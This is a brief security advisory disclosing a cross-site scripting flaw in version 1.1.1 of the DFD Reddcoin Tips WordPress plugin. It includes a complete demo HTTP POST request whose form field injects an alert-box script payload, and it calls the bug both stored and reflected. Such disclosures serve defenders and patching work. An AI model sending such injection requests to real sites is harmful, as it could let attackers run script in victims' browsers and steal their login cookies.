WordPress DFD Reddcoin Tips 1.1.1 Cross Site Scripting

`Class Input Validation Error  
Remote Yes  
  
Credit Ricardo Sanchez  
Vulnerable DFD Reddcoin Tips Plugin 1.1.1  
  
DFD Reddcoin Tips Plugin is prone to a stored cross-site scripting  
vulnerability because it fails to sufficiently sanitize user-supplied data.  
  
An attacker may leverage this issue to execute arbitrary script code in the  
browser of an unsuspecting user in the context of the affected site. This  
may allow the attacker to steal cookie-based authentication credentials and  
to launch other attacks.  
  
To exploit this issue following steps:  
The XSS reflected because the values are not filter correctly:  
  
  
Demo Request POST:  
  
POST /wordpress/wp-content/plugins/dfd-reddcoin-tips/includes/  
pages/console/console_submissions.php HTTP/1.1  
Host: localhost  
Cache-Control: max-age=0  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36  
(KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36  
Upgrade-Insecure-Requests: 1  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,  
image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate, br  
Accept-Language: es-ES,es;q=0.9  
Cookie:  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 82  
  
get_username_data=demo&send_external_amount=demo' />  
<script>alert("XSS")</script>  
`